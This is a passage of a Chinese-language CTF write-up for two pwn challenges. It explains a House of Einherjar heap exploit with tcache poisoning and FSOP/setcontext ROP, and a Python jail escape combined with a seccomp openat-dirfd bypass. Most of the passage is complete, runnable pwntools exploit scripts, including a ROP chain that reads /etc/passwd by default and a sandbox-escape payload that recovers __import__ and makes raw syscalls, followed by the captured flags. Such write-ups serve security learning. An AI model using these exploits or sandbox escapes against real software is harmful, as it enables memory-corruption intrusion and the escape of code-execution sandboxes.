chunk12 user +0x00 : fd -> main_arena+偏移 (libc 指针)
chunk12 user +0x08 : bk -> chunk14 (heap 指针)
于是 create(12,0×500, b’ ‘) 重新拿到 chunk12 后,
只写入 1 字节,剩余 0x4ff 字节保持“free 时残留内容”
接着 read(12) 按 0x500 全量输出,就把这两个指针一起漏出来
接着开始重头戏,利用House of Einherjar 思路
通过 edit(io, 2, p),在 idx 2 的开头伪造了 fd 和 bk 指针,并且在 idx 2 的最末尾(紧挨着 Chunk 3 的地方)写了一个假的 prev_size: 0x3f0,然后通过off by null把idx3的PREV_INUSE清零
+-------------------------+ <--- a_chunk
| size: 0x3f1 (P=1) |
+-------------------------+
| fd: a_chunk | \ <-- 伪造的链表指针,用于骗过 glibc 的安全检查
| bk: a_chunk | /
| ... 垃圾数据 ... |
| fake prev_size: 0x3f0 | <--- 填在 idx 2 数据的最后 8 字节
+-------------------------+ <--- Chunk 3 起始地址
| size: 0x500 (P=0) | <--- 关键漏洞:off by null把Chunk 3 的 P 标志位被清零了!
+-------------------------+
执行delete(io, 3)时,glibc看到p为0,会将 Chunk 2 和 Chunk 3 合并成一个巨大的 Free Chunk
合并后切小块,大 free chunk 被切成多个 0x110 小块后,出现关键状态:
+---------------------------+
| idx2 指向的 A user 区 |
| +-------------------+ |
| | 与 idx10 指向同内存 | <--- alias / overlap
| +-------------------+ |
+---------------------------+
(for i in range(5, 12): create(i, 0x100, …) 这个顺序下,它稳定落在第 6 次分配,所以对应索引正好是 idx10)
idx2的指针还在,可以操控edit 2来修改idx10里的内容,
先 free(idx10),让它进 tcache[0x110],然后通过 idx2 改写这个 free chunk 的 next
注意glibc 有 safe-linking,需要编码:encoded_next = target ^ (a_user >> 12)
再申请两次同尺寸,第一次取回原 chunk,第二次就会返回 target 指向的地址。这一步先把 target 设到 _IO_list_all,写入 fake FILE 指针
最后就是打FSOP 打到 setcontext
题目的退出分支是 exit(0),会触发 _IO_flush_all_lockp。我们把 _IO_list_all 头改成自己伪造的 FILE,让 glibc 在 flush 时遍历到它
结构链和上题差不多:
结构链:
_IO_list_all
|
v
fake_FILE (at a_user)
|
+--> _wide_data ----------> fake_wide
|
+--> _wide_vtable --> fake_wide_vtble
|
+--> __doallocate = setcontext+0x2d
setcontext函数内部有mov rsp, QWORD PTR [rdx+0xa0],会跳转到[rdx+0xa0]执行,但是setcontext结束后会push rcx
我们先把 [rdx+0xa8] 设为 pop rsp; ret,把 [rdx+0xa0] 设到 wide,再在 wide[0] 放真实 ROP 栈地址,就完成二次 pivot栈迁移,避免setcontext结束后push rcx导致rop链损坏
然后执行最终 ROP链的orw读flag就行
EXP
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
context.timeout = 2
BIN = './extracted/chall'
LIBC_PATH = './extracted/libc.so.6'
LD = './extracted/ld-linux-x86-64.so.2'
libc = ELF(LIBC_PATH, checksec=False)
def start():
if args.REMOTE:
return remote('chall.0xfun.org', 62698)
return process([LD, BIN], env={'LD_PRELOAD': LIBC_PATH})
def _tok_int(x):
s = str(int(x)).encode()
if len(s) > 13:
raise ValueError('int token too long')
return s + b'\n' + b' ' * (15 - len(s) - 1)
def _send_int(io, x):
io.send(_tok_int(x))
def menu(io, c):
io.recvuntil(b'> ')
_send_int(io, c)
def create(io, idx, size, data=b'X'):
menu(io, 1)
_send_int(io, idx)
_send_int(io, size)
io.recvuntil(b'Data: ')
io.send(data)
def delete(io, idx):
menu(io, 2)
_send_int(io, idx)
def readn(io, idx, size):
menu(io, 3)
_send_int(io, idx)
io.recvuntil(b'Data: ')
d = io.recvn(size)
io.recvuntil(b'\n')
return d
def edit(io, idx, data):
menu(io, 4)
_send_int(io, idx)
io.recvuntil(b'Data: ')
io.send(data)
def poison_alloc(io, a_user, target, idx_tmp=10, idx_out=5, size=0x100, data=b'Z'):
# idx2 aliases idx10 in this layout; free idx10, poison next, pop idx10, then pop target
delete(io, idx_tmp)
edit(io, 2, p64(target ^ (a_user >> 12)))
create(io, idx_tmp, size, b'Y')
create(io, idx_out, size, data)
def build_fake_file(libc_base, fake):
# Layout inside idx2 chunk (size 0x3e8)
wide = fake + 0x100
wvt = fake + 0x1e0
rop = fake + 0x280
flag = fake + 0x390
buf = fake - 0x510 # idx1 user area, keeps read/write away from ROP bytes
fenv = fake + 0x1d0
pop_rdi = libc_base + 0x102dea
pop_rsi = libc_base + 0x53847
pop_rsp_ret = libc_base + 0x36d45 # pop rsp ; ret
pop_rax = libc_base + 0x0d4f97 # pop rax ; ret
pop_rdx = libc_base + 0x126cfa # pop rdx ; add al,0 ; cmovne rax,rdx ; ret
open_ = libc_base + libc.sym['open']
read_ = libc_base + libc.sym['read']
write_ = libc_base + libc.sym['write']
exit_ = libc_base + libc.sym['exit']
setcontext_2d = libc_base + libc.sym['setcontext'] + 0x2d
p = bytearray(0x3e8)
# fake FILE core
p[0x20:0x28] = p64(0) # _IO_write_base
p[0x28:0x30] = p64(1) # _IO_write_ptr
p[0x68:0x70] = p64(0) # rdi for setcontext path (unused after pop_rsp)
p[0x70:0x78] = p64(0) # rsi
# FILE._lock (and setcontext rdx seed) -> valid writable lock object
p[0x88:0x90] = p64(fake + 0x3d0)
p[0x98:0xA0] = p64(0) # rcx -> cl=0 for pop_rsp side effect
p[0xA0:0xA8] = p64(wide) # also used as _wide_data pointer
p[0xA8:0xB0] = p64(pop_rsp_ret) # initial RIP after setcontext
p[0xD8:0xE0] = p64(libc_base + libc.sym['_IO_wfile_jumps'])
p[0xE0:0xE8] = p64(fenv) # fldenv source for setcontext+0x2d
p[0x1C0:0x1C4] = p32(0x1f80) # mxcsr
# wide_data required by _IO_wdoallocbuf
p[0x100 + 0x30:0x100 + 0x38] = p64(0) # _IO_buf_base == 0 -> force allocation path
p[0x100 + 0xE0:0x100 + 0xE8] = p64(wvt)
# wide_vtable __doallocate callback
p[0x1E0 + 0x68:0x1E0 + 0x70] = p64(setcontext_2d)
# tiny pivot stack at wide: pop_rsp_ret will take first qword as new rsp
p[0x100:0x108] = p64(rop)
# data
target_path = (args.PATH or '/etc/passwd').encode()
if len(target_path) > 23:
raise ValueError('PATH too long (max 23 bytes)')
p[0x390:0x390 + len(target_path)] = target_path
p[0x390 + len(target_path):0x390 + len(target_path) + 1] = b'\x00'
p[0x3d0:0x3d8] = p64(0) # fake lock word
rw_len = int(args.SIZE, 0) if args.SIZE else 0x40
# ROP chain helpers
chain = bytearray()
def q(x):
nonlocal chain
chain += p64(x)
def set_rdx_and_call(val, func):
nonlocal chain
# Force AL=0 so cmovne in pop_rdx gadget does not clobber RAX.
q(pop_rax)
q(0)
q(pop_rdx)
q(val)
q(func)
# open(PATH, 0)
q(pop_rdi)
q(flag)
q(pop_rsi)
q(0)
q(open_)
set_rdx_and_call(rw_len, pop_rdi)
q(3)
q(pop_rsi)
q(buf)
q(read_)
set_rdx_and_call(rw_len, pop_rdi)
q(1)
q(pop_rsi)
q(buf)
q(write_)
# exit(0)
q(pop_rdi)
q(0)
q(exit_)
p[0x280:0x280 + len(chain)] = chain
return bytes(p)
def exploit(io):
# deterministic heap shaping + leaks
create(io, 0, 0x500, b'A')
create(io, 1, 0x500, b'B')
create(io, 2, 0x3e8, b'C')
create(io, 3, 0x500, b'D' * (0x500 - 8) + p64(0x21))
create(io, 4, 0x500, p64(0) + p64(1) + b'E' * (0x500 - 16))
for i in range(5, 12):
create(io, i, 0x500, bytes([i]))
for i in range(5, 12):
delete(io, i)
create(io, 12, 0x500, b'L')
create(io, 13, 0x500, b's')
create(io, 14, 0x500, b'M')
create(io, 15, 0x500, b'g')
delete(io, 12)
delete(io, 14)
create(io, 12, 0x500, b' ')
leak = readn(io, 12, 0x500)
libc_base = u64(leak[:8]) - 0x1e7b20
heap_base = u64(leak[8:16]) - 0x4f30
a_chunk = heap_base + 0x3700
a_user = a_chunk + 0x10
log.success(f'libc_base = {libc_base:#x}')
log.success(f'heap_base = {heap_base:#x}')
log.success(f'a_chunk = {a_chunk:#x}')
# Einherjar -> idx2 aliases idx10
p = p64(a_chunk) + p64(a_chunk)
p = p.ljust(0x3e0, b'P') + p64(0x3f0)
edit(io, 2, p)
delete(io, 3)
for i in range(5, 12):
create(io, i, 0x100, b'T')
create(io, 3, 0x100, b'Q')
# ensure idx5 is free for later target allocations
delete(io, 5)
# overwrite _IO_list_all -> fake FILE at a_user
io_list_all = libc_base + libc.sym['_IO_list_all']
poison_alloc(io, a_user, io_list_all, idx_tmp=10, idx_out=5, size=0x100, data=p64(a_user))
# install fake FILE/ucontext/ROP in idx2 (A chunk)
fake_payload = build_fake_file(libc_base, a_user)
edit(io, 2, fake_payload[:-1])
# trigger flush path
menu(io, 5)
def main():
io = start()
exploit(io)
out = io.recvrepeat(2)
if out:
print(out.decode('latin-1', 'ignore'))
if args.INTERACTIVE:
io.interactive()
if __name__ == '__main__':
main()
0xfun{null_byt3_p01s0n_t0_h3ap_c0ns0l1d4t10n}
Warden
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
难得见到IBT和SHSTK也开了,这题是一个组合题,前半段是 Python jail 逃逸,后半段是 seccomp user notification 逻辑绕过,而且远程似乎有个毛病,在 nc 中 根据操作提示Ctrl+D 没有任何作用,导致不能eof卡了很久
这道题需要先逃出 jail.py 的 Python 沙箱,拿回 __import__ 能力
再利用 warden.c 里 openat 检查逻辑的语义漏洞,读到 /flag
先看 jail.py 的入口 run_jail():
code = sys.stdin.read(MAX_CODE_SIZE),也就是最多读8192字节,读到 EOF 才会结束,或者正好读满8192字节也会返回。if len(code) >= MAX_CODE_SIZE直接拒绝,所以有效 payload 必须< 8192。- 代码会先走 AST 校验
JailValidator().visit(tree),通过后再exec(compiled, namespace)。 - 执行环境里
__builtins__被替换成SAFE_BUILTINS,没给open、__import__、eval、exec这些危险入口。
再看 warden.c 的主流程 main():
fork()后子进程安装 seccomp 过滤器,拿到 notification fd,通过 unix socket 传给父进程。- 子进程 drop 到
uid=1000/gid=1000后execvp(argv[1], &argv[1]),也就是执行python3 jail.py。 - 父进程进入
supervisor_loop(),用SECCOMP_IOCTL_NOTIF_RECV/SEND处理每个被拦截 syscall。
supervisor_loop() 里最重要的是 openat 分支,进入 handle_openat(),这里就是漏洞发生点
static void handle_openat(struct seccomp_notif *req,
struct seccomp_notif_resp *resp) {
char path_buf[PATH_BUFLEN];
uint64_t path_ptr = req->data.args[1];
if (read_tracee_string(req->pid, path_ptr, path_buf, sizeof(path_buf)) < 0) {
resp->error = -EACCES;
resp->flags = 0;
return;
}
if (is_path_blocked(path_buf)) {
fprintf(stderr, "[warden] BLOCKED openat: %s (pid %d)\n",
path_buf, req->pid);
resp->error = -EACCES;
resp->flags = 0;
return;
}
resp->flags = SECCOMP_USER_NOTIF_FLAG_CONTINUE;
resp->error = 0;
resp->val = 0;
}
handle_openat() 的逻辑是:
- 从 tracee 内存读出
openat的路径参数到path_buf。 - 调
is_path_blocked(path_buf),只要前缀命中"/flag"、"/root"、"/etc/shadow"等就拒绝。 - 如果没命中,直接
SECCOMP_USER_NOTIF_FLAG_CONTINUE放行。
问题在于 openat 的语义是 openat(dirfd, path, ...)。path 可以是相对路径,此时真正访问位置由 dirfd 决定。这里的检查只看了 path 字符串,没有看 dirfd
这意味着可以这样绕:
- 先
open("/")拿到目录 fd,比如rootfd=3。 - 调
openat(rootfd, "flag", O_RDONLY, 0)。 warden看到的路径字符串只是"flag",不以"/flag"开头,检查通过。- 内核真实解析的是
"/" + "flag",最终打开的就是/flag
+---------------------+
| 用户提交Python代码 |
+----------+----------+
|
v
+---------------------+
| jail.py AST检查 |
| 禁 import/__ 等 |
+----------+----------+
|
| (通过对象链恢复 __import__)
v
+---------------------+
| 拿到 os + ctypes |
| 可直接 syscall |
+----------+----------+
|
| syscall(257, rootfd, "flag", 0, 0)
v
+---------------------+
| warden handle_openat |
| 只检查 path="flag" |
+----------+----------+
|
| CONTINUE
v
+---------------------+
| 内核按 dirfd 解析路径 |
| 实际打开 /flag |
+----------+----------+
|
v
+---------------------+
| os.read(fd) 输出flag |
+---------------------+
难点是 jail.py 禁了 import、禁了双下划线字符串字面量、禁了直接访问下划线属性。要做的是在 AST 规则下恢复 __import__,再拿到 os 和 ctypes
典型链条是:
- 用
u = chr(95)*2动态构造"__",避免源码里出现双下划线字面量。 - 从
()出发做对象遍历:().__class__.__base__.__subclasses__()。 - 找到
warnings.catch_warnings这个类。 - 通过
catch_warnings.__init__.__globals__拿到全局字典。 - 从
__builtins__['__import__']取回导入能力。 - 导入
os和ctypes,直接发系统调用。
本质上是“对象图 gadget 链”,本题最关键的 gadget 是 catch_warnings -> __init__ -> __globals__ -> __builtins__ -> __import__
EXP
#!/usr/bin/env python3
from pwn import *
import sys
import time
HOST = "chall.0xfun.org"
PORT = 22719
PAYLOAD = r"""
u=chr(95)*2
b=getattr(getattr((),u+'class'+u),u+'base'+u)
s=getattr(b,u+'subclasses'+u)()
for c in s:
if getattr(c,u+'name'+u)=='catch_warnings':
cw=c
break
g=getattr(getattr(cw,u+'init'+u),u+'globals'+u)
imp=g[u+'builtins'+u][u+'import'+u]
os=imp('os')
ct=imp('ctypes')
libc=ct.CDLL(None)
# Intended bypass: warden checks only the pathname string, not dirfd.
rootfd=os.open('/',0)
fd=libc.syscall(257,rootfd,ct.c_char_p(b'flag'),0,0)
if fd<0:
# Fallback for environments where openat path policy changes.
how=(ct.c_ulonglong*3)(0,0,0)
fd=libc.syscall(437,-100,ct.c_char_p(b'/flag'),ct.byref(how),ct.sizeof(how))
if fd>=0:
print(os.read(fd,0x200).decode(),flush=True)
""".lstrip().encode()
def start():
host = HOST
port = PORT
if len(sys.argv) >= 2 and sys.argv[1] not in ("LOCAL",):
host = sys.argv[1]
if len(sys.argv) >= 3:
port = int(sys.argv[2])
if args.LOCAL:
return process(["./warden", "/usr/bin/python3", "jail.py"])
return remote(host, port)
def run_once(mode):
io = start()
try:
io.recvuntil(b"Terminate with EOF (Ctrl+D).", timeout=5)
io.recv(timeout=0.2)
if mode == "shutdown":
io.send(PAYLOAD)
time.sleep(0.2)
io.shutdown("send")
elif mode == "eot":
io.send(PAYLOAD + b"\n\x04")
elif mode == "double-eot":
io.send(PAYLOAD + b"\n\x04\x04")
else:
raise ValueError(f"unknown mode: {mode}")
data = io.recvrepeat(5)
return data
except EOFError:
return b""
finally:
io.close()
def main():
# Different transport paths treat EOF differently; try several.
modes = ["shutdown", "eot", "double-eot"]
for mode in modes:
data = run_once(mode)
print(f"[{mode}]")
print(data.decode("utf-8", errors="replace"))
if b"flag{" in data.lower() or b"0xfun{" in data.lower():
break
if __name__ == "__main__":
main()
0xfun{wh0_w4tch3s_th3_w4rd3n_t0ctou_r4c3}









